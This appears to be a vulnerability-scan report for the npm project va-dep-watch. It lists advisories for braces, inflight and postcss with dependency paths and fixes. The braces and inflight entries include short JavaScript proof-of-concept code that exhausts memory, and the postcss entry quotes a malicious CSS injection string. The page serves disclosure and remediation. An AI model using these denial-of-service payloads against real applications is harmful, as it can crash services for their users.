Vulnerabilities

3 via 4 paths

Dependencies

113

Source

GitHub

Commit

40d57947

Find, fix and prevent vulnerabilities in your code.

Severity
  • 1
  • 2
Status
  • 3
  • 0
  • 0

high severity
new

Uncontrolled resource consumption

  • Vulnerable module: braces
  • Introduced through: chokidar@3.6.0

Detailed paths

  • Introduced through: va-dep-watch@forceuser/va-dep-watch#40d579472ea2b869643627dad3a1316b4c587299 chokidar@3.6.0 braces@3.0.2

Overview

braces is a Bash-like brace expansion, implemented in JavaScript.

Affected versions of this package are vulnerable to Uncontrolled resource consumption due improper limitation of the number of characters it can handle, through the parse function. An attacker can cause the application to allocate excessive memory and potentially crash by sending imbalanced braces as input.

PoC

const { braces } = require('micromatch');

console.log("Executing payloads...");

const maxRepeats = 10;

for (let repeats = 1; repeats <= maxRepeats; repeats += 1) {
  const payload = '{'.repeat(repeats*90000);

  console.log(`Testing with ${repeats} repeats...`);
  const startTime = Date.now();
  braces(payload);
  const endTime = Date.now();
  const executionTime = endTime - startTime;
  console.log(`Regex executed in ${executionTime / 1000}s.\n`);
} 

Remediation

A fix was pushed into the master branch but not yet published.

References

medium severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: inflight
  • Introduced through: shelljs@0.8.5 and precinct@6.3.1

Detailed paths

  • Introduced through: va-dep-watch@forceuser/va-dep-watch#40d579472ea2b869643627dad3a1316b4c587299 shelljs@0.8.5 glob@7.2.3 inflight@1.0.6
  • Introduced through: va-dep-watch@forceuser/va-dep-watch#40d579472ea2b869643627dad3a1316b4c587299 precinct@6.3.1 detective-typescript@5.8.0 @typescript-eslint/typescript-estree@2.34.0 glob@7.2.3 inflight@1.0.6

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the node process or in the application crash.

Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.

PoC

const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();

Remediation

There is no fixed version for inflight.

References

medium severity

Improper Input Validation

  • Vulnerable module: postcss
  • Introduced through: precinct@6.3.1

Detailed paths

  • Introduced through: va-dep-watch@forceuser/va-dep-watch#40d579472ea2b869643627dad3a1316b4c587299 precinct@6.3.1 detective-postcss@3.0.1 postcss@7.0.39
    Remediation: Upgrade to precinct@7.0.0.

Overview

postcss is a PostCSS is a tool for transforming styles with JS plugins.

Affected versions of this package are vulnerable to Improper Input Validation when parsing external Cascading Style Sheets (CSS) with linters using PostCSS. An attacker can cause discrepancies by injecting malicious CSS rules, such as @font-face{ font:(\r/*);}. This vulnerability is because of an insecure regular expression usage in the RE_BAD_BRACKET variable.

Remediation

Upgrade postcss to version 8.4.31 or higher.

References